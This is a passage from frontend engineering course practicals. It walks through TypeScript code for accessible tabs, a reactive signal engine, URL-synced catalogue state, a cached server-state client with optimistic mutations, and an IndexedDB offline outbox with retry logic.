  • In manual mode, moving focus with Arrow keys does not change the active panel until the user presses Enter or Space.

// Inside TabsList keyboard event handler:
function handleKeyDown(event: React.KeyboardEvent) {
  const tabs = enabledTabsList;
  const currentIndex = tabs.findIndex(t => t.value === focusedValue);
  let nextIndex = -1;

  switch (event.key) {
    case 'ArrowRight':
    case 'ArrowDown':
      event.preventDefault();
      nextIndex = (currentIndex + 1) % tabs.length;
      break;
    case 'ArrowLeft':
    case 'ArrowUp':
      event.preventDefault();
      nextIndex = (currentIndex - 1 + tabs.length) % tabs.length;
      break;
    case 'Home':
      event.preventDefault();
      nextIndex = 0;
      break;
    case 'End':
      event.preventDefault();
      nextIndex = tabs.length - 1;
      break;
    case 'Enter':
    case ' ':
      if (activationMode === 'manual') {
        event.preventDefault();
        selectTab(focusedValue);
      }
      return;
    default:
      return;
  }

  const nextTab = tabs[nextIndex];
  if (nextTab) {
    focusTab(nextTab.value);
    if (activationMode === 'automatic') {
      selectTab(nextTab.value);
    }
  }
}

Stage 4 - Verification Matrix and Optional Extensions

Verification Matrix

Execute the following test cases to confirm architectural integrity:

Optional Extensions

1. Disabled Tabs: Add a disabled boolean prop to Tab. Ensure disabled tabs receive aria-disabled="true", cannot be activated via click/Enter, and are gracefully skipped during Arrow key traversal.
2. Lazy Panel Loading: Enhance TabPanel with a lazy prop. When true, panel contents are not mounted in the DOM until the tab is selected for the first time.

Evaluation Rubric

7 - Reactive Dependency Graph and State Derivation

Practical 07 - Reactive Dependency Graph and State Derivation

Related: Chapter 7 · Lecture slides

Objective

Build a transparent, educational reactive dependency graph in TypeScript from scratch. You will implement the core primitives that power modern reactive architectures:

1. Signals (State Sources): Observable containers that register subscribers on read and notify on write.
2. Computed Values (Pure Derivations): Lazy, cached derivations that re-evaluate only when an upstream dependency changes.
3. Effects (Synchronization Boundaries): Side-effect observers that react to dependency invalidations and execute explicit cleanup callbacks.

You will trace exact execution timelines, observe dynamic dependency switching, verify cache reuse, and demonstrate how cycles and infinite loops occur when side effects mutate source state.

Prerequisites and Workspace Setup

You need Node.js (v18+) and the TypeScript compiler.

Initialize your workspace:

chapter-07-reactive-graph/
├── src/
│   ├── reactive.ts          # Core engine: signal, computed, effect, context stack
│   ├── types.ts             # Subscriber and dependency interfaces
│   ├── visualizer.ts        # ASCII / DOM graph inspector logging execution order
│   └── main.ts              # Running scenario: searchable list & URL sync
├── index.html
├── package.json
└── tsconfig.json

Ensure your tsconfig.json enforces strict mode:

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",
    "strict": true,
    "skipLibCheck": true
  }
}

Stage 1 - The Signal Primitive and Subscriber Context

Reactivity requires discovering which computations depend on which data. In src/reactive.ts, implement a global subscriber stack and the createSignal primitive:

flowchart LR
    Effect["Active Effect / Computed"] -->|"1. Reads signal.get()"| Signal["Signal Value Store"]
    Signal -->|"2. Registers Active Subscriber"| SubList["Set<Subscriber>"]
    Signal -->|"3. Returns Value"| Effect
    Caller["User Code"] -->|"4. Calls signal.set(newVal)"| Signal
    Signal -->|"5. Notifies all"| SubList

// src/types.ts
export type Subscriber = {
  execute: () => void;
  dependencies: Set<Set<Subscriber>>;
};

// src/reactive.ts
let activeSubscriber: Subscriber | null = null;
const subscriberStack: Subscriber[] = [];

export function pushSubscriber(sub: Subscriber) {
  subscriberStack.push(sub);
  activeSubscriber = sub;
}

export function popSubscriber() {
  subscriberStack.pop();
  activeSubscriber = subscriberStack[subscriberStack.length - 1] ?? null;
}

export function createSignal<T>(initialValue: T) {
  let value = initialValue;
  const subscribers = new Set<Subscriber>();

  const get = (): T => {
    if (activeSubscriber) {
      subscribers.add(activeSubscriber);
      activeSubscriber.dependencies.add(subscribers);
    }
    return value;
  };

  const set = (nextValue: T | ((prev: T) => T)): void => {
    const resolved = typeof nextValue === 'function' 
      ? (nextValue as (prev: T) => T)(value) 
      : nextValue;

    if (!Object.is(value, resolved)) {
      value = resolved;
      // Copy to prevent infinite loops during subscriber iteration
      const toNotify = Array.from(subscribers);
      toNotify.forEach(sub => sub.execute());
    }
  };

  return [get, set] as const;
}

Stage 2 - Lazy Computed Values and Invalidation

A computed value represents derived data. It must never perform eager calculation if nobody is reading it, and it must never recompute if its upstream dependencies have not changed.

Implement createComputed:

export function createComputed<T>(fn: () => T) {
  let cachedValue: T;
  let isDirty = true;
  const subscribers = new Set<Subscriber>();

  const selfSubscriber: Subscriber = {
    execute: () => {
      if (!isDirty) {
        isDirty = true;
        subscribers.forEach(sub => sub.execute());
      }
    },
    dependencies: new Set(),
  };

  const get = (): T => {
    if (activeSubscriber) {
      subscribers.add(activeSubscriber);
      activeSubscriber.dependencies.add(subscribers);
    }

    if (isDirty) {
      // Clean previous dependency links before re-running to support dynamic branching
      selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
      selfSubscriber.dependencies.clear();

      pushSubscriber(selfSubscriber);
      try {
        cachedValue = fn();
        isDirty = false;
      } finally {
        popSubscriber();
      }
    }

    return cachedValue;
  };

  return get;
}

Verify that calling get() three times without modifying source signals invokes fn() exactly once.

Stage 3 - Effects and Resource Cleanup

An effect bridges pure reactive state to imperative external systems (DOM rendering, network dispatch, storage persistence).

Implement createEffect with explicit cleanup:

export function createEffect(fn: (onCleanup: (cb: () => void) => void) => void) {
  let cleanupFn: (() => void) | null = null;

  const onCleanup = (cb: () => void) => {
    cleanupFn = cb;
  };

  const selfSubscriber: Subscriber = {
    execute: () => {
      // Run cleanup from previous execution
      if (cleanupFn) {
        cleanupFn();
        cleanupFn = null;
      }

      // Clear old dependencies for dynamic branches
      selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
      selfSubscriber.dependencies.clear();

      pushSubscriber(selfSubscriber);
      try {
        fn(onCleanup);
      } finally {
        popSubscriber();
      }
    },
    dependencies: new Set(),
  };

  // Initial immediate run
  selfSubscriber.execute();

  // Return a teardown handle to dispose of the effect completely
  return () => {
    if (cleanupFn) cleanupFn();
    selfSubscriber.dependencies.forEach(depSet => depSet.delete(selfSubscriber));
    selfSubscriber.dependencies.clear();
  };
}

Stage 4 - Verification Matrix and Cycle Analysis

1. Cycle Hazard Experiment

In src/main.ts, deliberately construct a cyclic dependency:

const [count, setCount] = createSignal(0);

createEffect(() => {
  console.log('Count is:', count());
  setCount(c => c + 1); // ⚠️ CYCLIC HAZARD: Mutating source inside effect
});

Observe the resulting browser crash / stack overflow (Maximum call stack size exceeded). Explain why production systems (like Vue’s queue watcher and React’s loop detection) enforce maximum update depth thresholds (e.g., 50 or 100 iterations) and throw explicit architectural errors.

2. Verification Matrix

Evaluation Rubric

8 - URL-Driven State Architecture and Form Boundaries

Practical 08 - URL-Driven State Architecture and Form Boundaries

Related: Chapter 8 · Lecture slides

Objective

Build a resilient, URL-synchronized catalogue and administrative edit workflow that treats the browser address bar as a primary, shareable source of truth.

You will implement:

1. A serializable URL state contract that parses, validates, and serializes search filters, sort criteria, and pagination.
2. An intentional history transition model distinguishing pushState (navigating pages) from replaceState (filtering).
3. A two-tier input architecture that separates immediate keystroke drafts from committed URL parameters and background API queries.
4. A form state machine managing touched, dirty, validation, and unsaved changes confirmation during route transitions.

Prerequisites and Workspace Setup

You need Node.js (v18+) and a modern bundler setup (Vite with TypeScript and React or Vue).

Initialize your practical workspace:

chapter-08-url-catalogue/
├── src/
│   ├── types.ts             # URL state, form state, and domain interfaces
│   ├── url-state.ts         # Boundary parser, validator, and serializer
│   ├── use-url-sync.ts      # Custom hook / composable wiring history & popstate
│   ├── form-reducer.ts      # Form state machine (touched, dirty, errors)
│   ├── components/
│   │   ├── CatalogueView.tsx# Filter toolbar, product table, and pagination
│   │   └── ProductEdit.tsx  # Routed edit form with unsaved changes guard
│   └── main.tsx             # Application router entry point
├── index.html
├── package.json
└── tsconfig.json

Stage 1 - Serializable URL Contract and Boundary Parser

The address bar accepts arbitrary strings from external sources. Raw query strings must be treated as untrusted boundaries and validated against strict schemas before entering application state.

1.1 State Contract Definition

In src/types.ts:

export type SortOption = 'name' | 'price' | 'date';

export interface CatalogueURLState {
  readonly query: string;
  readonly category: string;
  readonly sort: SortOption;
  readonly page: number;
}

export const DEFAULT_CATALOGUE_STATE: CatalogueURLState = {
  query: '',
  category: 'all',
  sort: 'name',
  page: 1,
};

1.2 Boundary Parser and Serializer

In src/url-state.ts, implement resilient parsing with defaults and clean serialization:

const VALID_SORTS: readonly SortOption[] = ['name', 'price', 'date'];

export function parseCatalogueParams(search: string): CatalogueURLState {
  const params = new URLSearchParams(search);

  // Validate sort enum
  const rawSort = params.get('sort');
  const sort: SortOption = VALID_SORTS.includes(rawSort as SortOption)
    ? (rawSort as SortOption)
    : DEFAULT_CATALOGUE_STATE.sort;

  // Validate positive integer page
  const rawPage = parseInt(params.get('page') ?? '1', 10);
  const page = Number.isInteger(rawPage) && rawPage > 0 ? rawPage : 1;

  return {
    query: params.get('q')?.trim() ?? DEFAULT_CATALOGUE_STATE.query,
    category: params.get('category')?.trim() || DEFAULT_CATALOGUE_STATE.category,
    sort,
    page,
  };
}

export function serializeCatalogueParams(state: CatalogueURLState): string {
  const params = new URLSearchParams();

  if (state.query) params.set('q', state.query);
  if (state.category !== 'all') params.set('category', state.category);
  if (state.sort !== 'name') params.set('sort', state.sort);
  if (state.page > 1) params.set('page', String(state.page));

  const str = params.toString();
  return str ? `?${str}` : '';
}

Verify that omitting default values keeps the URL clean (e.g. displaying /products rather than /products?q=&category=all&sort=name&page=1).

Stage 2 - History Semantics and Two-Tier Debouncing

Do not push a new browser history entry on every keystroke. Separate immediate typing from committed URL state:

flowchart LR
    Typing["User Keystrokes\n(Local Input Draft)"] -->|"300ms Debounce / Enter"| Commit["Commit to URL\n(history.replaceState)"]
    PageClick["Next Page Click\n(Pagination)"] -->|"Immediate Navigation"| Push["Commit to URL\n(history.pushState)"]
    Popstate["Browser Back / Forward\n(popstate event)"] -->|"Update State"| AppView["Synchronize View"]

Implement useURLSync:

1. Local Draft: Bind the search text input to an immediate local state variable so typing feels fluid with zero input lag.
2. Debounced Commit: Debounce URL updates by 300ms. Use history.replaceState so that back-button navigation does not trap the user in twenty partial keystroke states.
3. Discrete Actions: When the user changes pagination or sorting, use history.pushState so that each page change creates an explicit back-button step.
4. Popstate Listener: Listen to window.addEventListener('popstate') to update local state when the user navigates using the browser’s native Back/Forward buttons.

Stage 3 - Form State Machine and Unsaved Changes Guard

When a user clicks “Edit” on an item, the application transitions to /products/:id/edit.

3.1 Detached Draft State

Never bind the edit form directly to cached server data. Initialize a local, detached draft:

export interface ProductDraft {
  title: string;
  price: string;
  department: string;
}

export interface FormState {
  initial: ProductDraft;
  current: ProductDraft;
  touched: Set<keyof ProductDraft>;
  isSubmitting: boolean;
  submitError: string | null;
}

3.2 Form Reducer and Dirty State

Calculate dirty state purely: isDirty = JSON.stringify(current) !== JSON.stringify(initial).

export type FormAction =
  | { type: 'CHANGE'; field: keyof ProductDraft; value: string }
  | { type: 'BLUR'; field: keyof ProductDraft }
  | { type: 'SUBMIT_START' }
  | { type: 'SUBMIT_SUCCESS' }
  | { type: 'SUBMIT_ERROR'; error: string }
  | { type: 'RESET' };

export function formReducer(state: FormState, action: FormAction): FormState {
  switch (action.type) {
    case 'CHANGE':
      return {
        ...state,
        current: { ...state.current, [action.field]: action.value },
      };
    case 'BLUR':
      return {
        ...state,
        touched: new Set(state.touched).add(action.field),
      };
    case 'RESET':
      return {
        ...state,
        current: state.initial,
        touched: new Set(),
      };
    default:
      return state;
  }
}

3.3 Navigation Guard

Attach a beforeunload browser event handler and route transition interceptor: if isDirty is true and the user attempts to click away or close the tab, prompt for confirmation before discarding changes.

Stage 4 - Verification Matrix and Security Boundaries

1. What Must NEVER Enter the URL

2. Verification Matrix

Evaluation Rubric

9 - Cached Server-State Client with Optimistic Mutations

Practical 09 - Cached Server-State Client with Optimistic Mutations

Related: Chapter 9 · Lecture slides

Objective

Build a resilient, framework-agnostic asynchronous server-state cache manager (a micro TanStack Query) from scratch in TypeScript.

You will implement:

1. Deterministic Query Key Hashing: Storing and retrieving queries by composite serialized keys.
2. Stale-While-Revalidate (SWR) Caching: Serving cached snapshots instantly while asynchronously fetching fresh server data in the background.
3. In-Flight Request Deduplication: Merging concurrent duplicate calls into a single shared network promise.
4. Transient Error Retry with Exponential Backoff: Automatically retrying 5xx and network failures while respecting cancellation signals.
5. Optimistic Mutations with Snapshot Rollback: Updating cache entries immediately upon user action, reverting gracefully if the server rejects the request.

Prerequisites and Workspace Setup

You need Node.js (v18+) and the TypeScript compiler.

Initialize your practical workspace:

chapter-09-cache-client/
├── src/
│   ├── types.ts             # Cache entry, query options, and mutation types
│   ├── query-key.ts         # Deterministic key serialization
│   ├── query-cache.ts       # SWR store, deduplication map, and invalidation
│   ├── fetch-retry.ts       # Abortable fetch with exponential backoff
│   ├── mutation-manager.ts  # Optimistic execution and snapshot rollback
│   ├── app.ts               # Simulated REST server and UI demonstration
│   └── cache.test.ts        # Unit test suite for deduplication & retry
├── index.html
├── package.json
└── tsconfig.json

Stage 1 - Deterministic Query Key Serialization

Query keys represent the semantic identity of a server request. Keys often contain nested objects (such as { sort: 'date', page: 2 }), which cannot be compared with standard referential equality (===).

In src/query-key.ts, implement a deterministic serializer that sorts object keys alphabetically:

export type QueryKey = readonly unknown[];

export function serializeKey(key: QueryKey): string {
  return JSON.stringify(key, (_, val) => {
    if (val !== null && typeof val === 'object' && !Array.isArray(val)) {
      return Object.keys(val)
        .sort()
        .reduce<Record<string, unknown>>((acc, k) => {
          acc[k] = val[k];
          return acc;
        }, {});
    }
    return val;
  });
}

Verify that ['permits', { page: 1, sort: 'name' }] and ['permits', { sort: 'name', page: 1 }] produce identical hash strings: ["permits",{"page":1,"sort":"name"}].

Stage 2 - Stale-While-Revalidate and Request Deduplication

In src/query-cache.ts, implement the core SWR cache engine:

flowchart TD
    Req["queryClient.fetch(key, fn)"] --> CheckKey{"Key in Memory?"}
    
    CheckKey -- Yes & Fresh --> FreshData["Return cached data immediately\n(Zero network request)"]
    
    CheckKey -- Yes & Stale --> StaleServe["Serve cached data to UI\n(status: 'success', isStale: true)"]
    StaleServe --> DedupCheck{"In-flight promise active?"}
    
    CheckKey -- No --> DedupCheck
    
    DedupCheck -- Yes --> ReusePromise["Attach to existing network Promise"]
    DedupCheck -- No --> NewFetch["Create new fetch with AbortController"]
    
    NewFetch --> Network["Execute HTTP Request"]
    Network --> Update["Update Cache & notify subscribers"]

// src/types.ts
export interface CacheEntry<T> {
  data: T;
  timestamp: number;
  isStale: boolean;
}

export interface QueryOptions {
  staleTime?: number; // ms before data is considered stale (default: 0)
}

// src/query-cache.ts
export class QueryClient {
  private cache = new Map<string, CacheEntry<unknown>>();
  private inFlight = new Map<string, Promise<unknown>>();
  private subscribers = new Map<string, Set<(data: unknown) => void>>();

  async fetch<T>(
    key: QueryKey,
    queryFn: (signal: AbortSignal) => Promise<T>,
    options: QueryOptions = {}
  ): Promise<T> {
    const serialized = serializeKey(key);
    const staleTime = options.staleTime ?? 0;
    const existing = this.cache.get(serialized) as CacheEntry<T> | undefined;

    const isFresh = existing && (Date.now() - existing.timestamp < staleTime);

    if (existing && isFresh) {
      return existing.data;
    }

    // Deduplicate in-flight requests
    if (this.inFlight.has(serialized)) {
      return this.inFlight.get(serialized) as Promise<T>;
    }

    const controller = new AbortController();
    const promise = (async () => {
      try {
        const data = await queryFn(controller.signal);
        this.cache.set(serialized, {
          data,
          timestamp: Date.now(),
          isStale: false,
        });
        this.notify(serialized, data);
        return data;
      } finally {
        this.inFlight.delete(serialized);
      }
    })();

    this.inFlight.set(serialized, promise);
    return existing ? existing.data : promise;
  }

  invalidate(keyPrefix: QueryKey): void {
    const prefixStr = serializeKey(keyPrefix).slice(0, -1); // Match array prefix
    for (const [key] of this.cache) {
      if (key.startsWith(prefixStr)) {
        const entry = this.cache.get(key);
        if (entry) entry.isStale = true;
      }
    }
  }

  private notify(serializedKey: string, data: unknown) {
    this.subscribers.get(serializedKey)?.forEach(cb => cb(data));
  }
}

Stage 3 - Abortable Fetch with Exponential Backoff

In src/fetch-retry.ts, implement a transport wrapper that handles network dropouts and 5xx server errors with randomized exponential jitter:

export interface RetryOptions {
  maxRetries?: number;
  initialDelayMs?: number;
}

export async function fetchWithRetry<T>(
  url: string,
  signal: AbortSignal,
  options: RetryOptions = {}
): Promise<T> {
  const maxRetries = options.maxRetries ?? 3;
  let delay = options.initialDelayMs ?? 1000;

  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    if (signal.aborted) throw new DOMException('Aborted', 'AbortError');

    try {
      const res = await fetch(url, { signal });

      // Fail fast on client errors (4xx) - they should never be retried automatically
      if (res.status >= 400 && res.status < 500) {
        throw new Error(`Client error: ${res.status} ${res.statusText}`);
      }

      if (!res.ok) {
        throw new Error(`Server error: ${res.status}`);
      }

      return (await res.json()) as T;
    } catch (err) {
      const isAbort = (err as Error).name === 'AbortError';
      if (isAbort || attempt === maxRetries) throw err;

      // Add full jitter: delay * random(0.5, 1.5)
      const jitteredDelay = delay * (0.5 + Math.random());
      await new Promise(resolve => setTimeout(resolve, jitteredDelay));
      delay *= 2; // Exponential increase
    }
  }

  throw new Error('Unreachable');
}

Stage 4 - Optimistic Mutations and Verification Matrix

1. The Optimistic Mutation Contract

In src/mutation-manager.ts, implement mutation execution with snapshot rollback:

export async function executeOptimisticMutation<TData, TVariables>(
  client: QueryClient,
  queryKey: QueryKey,
  optimisticUpdate: (prev: TData, vars: TVariables) => TData,
  mutationFn: (vars: TVariables) => Promise<TData>,
  variables: TVariables
): Promise<void> {
  const serialized = serializeKey(queryKey);
  const previousData = client.getQueryData<TData>(queryKey);

  // 1. Snapshot and immediately apply optimistic prediction
  if (previousData) {
    const provisional = optimisticUpdate(previousData, variables);
    client.setQueryData(queryKey, provisional);
  }

  try {
    // 2. Perform authoritative network request
    const canonical = await mutationFn(variables);
    // 3. Confirm with server canonical response
    client.setQueryData(queryKey, canonical);
  } catch (err) {
    // 4. Rollback to pristine snapshot upon failure
    if (previousData) {
      client.setQueryData(queryKey, previousData);
    }
    throw err;
  }
}

2. Verification Matrix

Evaluation Rubric

10 - Offline Outbox and Resilient Synchronization

Practical 10 - Offline Outbox and Resilient Synchronization

Related: Chapter 10 · Lecture slides

Objective

Build a resilient, local-first offline synchronization engine for a municipal field-inspection application using browser-native IndexedDB and a durable Outbox Queue.

You will engineer a client-side architecture that:

1. Survives Complete Disconnection: Allows inspectors to conduct inspections, draft notes, and record safety violation verdicts in offline basements with 0ms local latency.
2. Maintains Transactional Integrity: Commits domain record updates and outbox synchronization commands atomically using IndexedDB transactions.
3. Recovers Seamlessly Across Browser Reboots: Persists queued operations across page reloads, tab crashes, and device restarts.
4. Guarantees Exactly-Once Server Processing: Enforces client-generated Idempotency-Key headers to prevent duplicate record creation during network dropouts and retries.
5. Classifies and Recovers from Failures: Distinguishes retriable transient errors (HTTP 503 / dropped sockets) with exponential backoff from permanent validation rejections (HTTP 422), surfacing actionable conflict states to the user.

flowchart TD
    subgraph BrowserClient["Browser Runtime (Field Inspection Tablet)"]
        UI["Inspector UI / Form"] -->|1. Submit Verdict| Tx["IndexedDB Atomic Transaction"]
        Tx -->|Write| Store["'inspections' Object Store\n(localId, serverId, status: 'pending_sync')"]
        Tx -->|Write| Outbox["'outbox' Object Store\n(operationId, endpoint, payload, attempts)"]
        
        Engine["Outbox Synchronization Engine\n(Triggered by: online event, visibility, timer)"] -->|2. Read Unsynced| Outbox
        Engine -->|3. Probe Heartbeat| NetCheck{"Real Egress?"}
        NetCheck -->|Yes| Dispatch["4. HTTP POST /api/inspections\nHeaders: Idempotency-Key: operationId"]
    end

    subgraph RemoteBackend["Municipal Server API"]
        Dispatch --> Gateway["API Gateway / Idempotency Filter"]
        Gateway --> ServerDB[("Municipal Database")]
    end

    Dispatch -->|200 OK Ack| Ack["5. Delete Outbox Record\nUpdate Local Store: status: 'synced'"]
    Dispatch -->|503 / Network Drop| Retry["5b. Increment attempts\nSchedule Exponential Backoff"]
    Dispatch -->|409 Conflict / 422 Fatal| Conflict["5c. Mark Outbox: 'failed'\nPrompt User Resolution"]

Workspace Setup

Create a dedicated TypeScript practical directory:

mkdir -p practical-10-offline-sync/src
cd practical-10-offline-sync
npm init -y
npm install --save-dev typescript @types/node vitest
npx tsc --init

Ensure your tsconfig.json targets ES2022 with "moduleResolution": "node" and "lib": ["DOM", "ES2022"].

Architecture and Core Types

Define the core domain contracts in src/types.ts:

// src/types.ts
export type SyncStatus = 'draft' | 'pending_sync' | 'syncing' | 'synced' | 'conflict' | 'failed';

export interface FieldInspection {
  localId: string;              // Client-generated UUID (crypto.randomUUID())
  serverId: string | null;      // Canonical ID assigned by municipal backend
  facilityName: string;
  inspectorId: string;
  complianceVerdict: 'pass' | 'conditional' | 'violation';
  notes: string;
  updatedAt: number;
  serverVersion: number;        // Concurrency tag for optimistic locking
  syncStatus: SyncStatus;
}

export interface OutboxOperation {
  operationId: string;          // Unique idempotency key (UUID v4)
  entity: 'inspection';
  entityLocalId: string;
  endpoint: string;
  method: 'POST' | 'PUT' | 'PATCH';
  payload: Record<string, unknown>;
  createdAt: number;
  attempts: number;
  lastAttemptAt?: number;
  lastError?: string;
  status: 'queued' | 'syncing' | 'failed';
}

export interface ServerAcknowledgment {
  serverId: string;
  serverVersion: number;
  syncedAt: number;
}

Stage-by-Stage Implementation

Stage 1: IndexedDB Storage & Transactional Atomicity

Directly interacting with the callback-based indexedDB API is error-prone. Wrap database initialization and transactions in clean Promise boundaries:

// src/db.ts
import { FieldInspection, OutboxOperation } from './types';

const DB_NAME = 'MunicipalInspectionDB';
const DB_VERSION = 1;

export async function openInspectionDatabase(): Promise<IDBDatabase> {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open(DB_NAME, DB_VERSION);

    request.onerror = () => reject(request.error);
    request.onsuccess = () => resolve(request.result);

    request.onupgradeneeded = (event) => {
      const db = (event.target as IDBOpenDBRequest).result;

      // 1. Domain records store: indexed by localId
      if (!db.objectStoreNames.contains('inspections')) {
        const inspectionStore = db.createObjectStore('inspections', { keyPath: 'localId' });
        inspectionStore.createIndex('syncStatus', 'syncStatus', { unique: false });
        inspectionStore.createIndex('serverId', 'serverId', { unique: false });
      }

      // 2. Durable Outbox store: indexed by operationId
      if (!db.objectStoreNames.contains('outbox')) {
        const outboxStore = db.createObjectStore('outbox', { keyPath: 'operationId' });
        outboxStore.createIndex('status', 'status', { unique: false });
        outboxStore.createIndex('createdAt', 'createdAt', { unique: false });
      }
    };
  });
}

Requirement: Atomic Local Commit

When an inspector finishes a review, write both the updated inspection record and the new outbox command within the same atomic database transaction. If storage quota is exceeded or writing fails halfway through, the entire transaction rolls back, preventing orphaned outbox tasks:

export async function commitInspectionLocally(
  db: IDBDatabase,
  inspection: FieldInspection,
  operation: OutboxOperation
): Promise<void> {
  return new Promise((resolve, reject) => {
    const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
    
    tx.onerror = () => reject(tx.error);
    tx.oncomplete = () => resolve();

    const inspectionStore = tx.objectStore('inspections');
    const outboxStore = tx.objectStore('outbox');

    inspectionStore.put({ ...inspection, syncStatus: 'pending_sync' });
    outboxStore.put({ ...operation, status: 'queued' });
  });
}

Stage 2: Outbox Consumer with Exponential Backoff

Construct src/outboxEngine.ts. The synchronization engine continuously observes the outbox queue, executing items sequentially while respecting backoff rules:

// src/outboxEngine.ts
import { openInspectionDatabase } from './db';
import { OutboxOperation, ServerAcknowledgment } from './types';

export class OutboxEngine {
  private isProcessing = false;

  constructor(
    private readonly maxRetries = 4,
    private readonly baseDelayMs = 500,
    private readonly maxDelayMs = 8000
  ) {}

  /**
   * Drain pending outbox operations sequentially.
   */
  async processQueue(mockNetworkFetch: (op: OutboxOperation) => Promise<ServerAcknowledgment>): Promise<void> {
    if (this.isProcessing) return;
    this.isProcessing = true;

    try {
      const db = await openInspectionDatabase();
      const operations = await this.getQueuedOperations(db);

      for (const op of operations) {
        // Enforce exponential backoff delay before re-attempting
        if (op.attempts > 0 && op.lastAttemptAt) {
          const delay = Math.min(this.maxDelayMs, this.baseDelayMs * Math.pow(2, op.attempts - 1));
          const elapsed = Date.now() - op.lastAttemptAt;
          if (elapsed < delay) {
            continue; // Not ready for next retry window
          }
        }

        try {
          await this.markOperationStatus(db, op.operationId, 'syncing');
          const ack = await mockNetworkFetch(op);
          
          // Success: finalize domain record and clear outbox entry
          await this.completeOperation(db, op.entityLocalId, op.operationId, ack);
        } catch (error: unknown) {
          const isTransient = this.evaluateTransientError(error);
          const nextAttempts = op.attempts + 1;

          if (isTransient && nextAttempts < this.maxRetries) {
            await this.updateOperationRetry(db, op.operationId, nextAttempts, String(error));
          } else {
            // Permanent failure or retry limit exceeded
            await this.markOperationFailed(db, op.entityLocalId, op.operationId, String(error));
          }
        }
      }
    } finally {
      this.isProcessing = false;
    }
  }

  private evaluateTransientError(error: unknown): boolean {
    const errStr = String(error);
    // 5xx Server Errors and network drops are transient; 4xx are permanent
    return errStr.includes('503') || errStr.includes('500') || errStr.includes('NetworkError');
  }

  // Database helper methods for status transitions...
  private async getQueuedOperations(db: IDBDatabase): Promise<OutboxOperation[]> {
    return new Promise((resolve) => {
      const tx = db.transaction('outbox', 'readonly');
      const request = tx.objectStore('outbox').getAll();
      request.onsuccess = () => {
        const ops = (request.result as OutboxOperation[])
          .filter(o => o.status === 'queued' || o.status === 'syncing')
          .sort((a, b) => a.createdAt - b.createdAt);
        resolve(ops);
      };
    });
  }

  private async completeOperation(
    db: IDBDatabase, 
    localId: string, 
    operationId: string, 
    ack: ServerAcknowledgment
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      // Remove from outbox
      tx.objectStore('outbox').delete(operationId);

      // Reconcile domain record with server ID and synced status
      const inspStore = tx.objectStore('inspections');
      const getReq = inspStore.get(localId);
      getReq.onsuccess = () => {
        if (getReq.result) {
          inspStore.put({
            ...getReq.result,
            serverId: ack.serverId,
            serverVersion: ack.serverVersion,
            syncStatus: 'synced',
          });
        }
      };
    });
  }

  private async updateOperationRetry(
    db: IDBDatabase, 
    operationId: string, 
    attempts: number, 
    errorMsg: string
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction('outbox', 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      const store = tx.objectStore('outbox');
      const req = store.get(operationId);
      req.onsuccess = () => {
        if (req.result) {
          store.put({
            ...req.result,
            status: 'queued',
            attempts,
            lastAttemptAt: Date.now(),
            lastError: errorMsg,
          });
        }
      };
    });
  }

  private async markOperationStatus(db: IDBDatabase, operationId: string, status: 'syncing' | 'queued'): Promise<void> {
    return new Promise((resolve) => {
      const tx = db.transaction('outbox', 'readwrite');
      const store = tx.objectStore('outbox');
      const req = store.get(operationId);
      req.onsuccess = () => {
        if (req.result) {
          store.put({ ...req.result, status });
        }
      };
      tx.oncomplete = () => resolve();
    });
  }

  private async markOperationFailed(
    db: IDBDatabase, 
    localId: string, 
    operationId: string, 
    errorMsg: string
  ): Promise<void> {
    return new Promise((resolve, reject) => {
      const tx = db.transaction(['inspections', 'outbox'], 'readwrite');
      tx.oncomplete = () => resolve();
      tx.onerror = () => reject(tx.error);

      const outStore = tx.objectStore('outbox');
      const outReq = outStore.get(operationId);
      outReq.onsuccess = () => {
        if (outReq.result) {
          outStore.put({ ...outReq.result, status: 'failed', lastError: errorMsg });
        }
      };

      const inspStore = tx.objectStore('inspections');
      const inspReq = inspStore.get(localId);
      inspReq.onsuccess = () => {
        if (inspReq.result) {
          inspStore.put({ ...inspReq.result, syncStatus: 'failed' });
        }
      };
    });
  }
}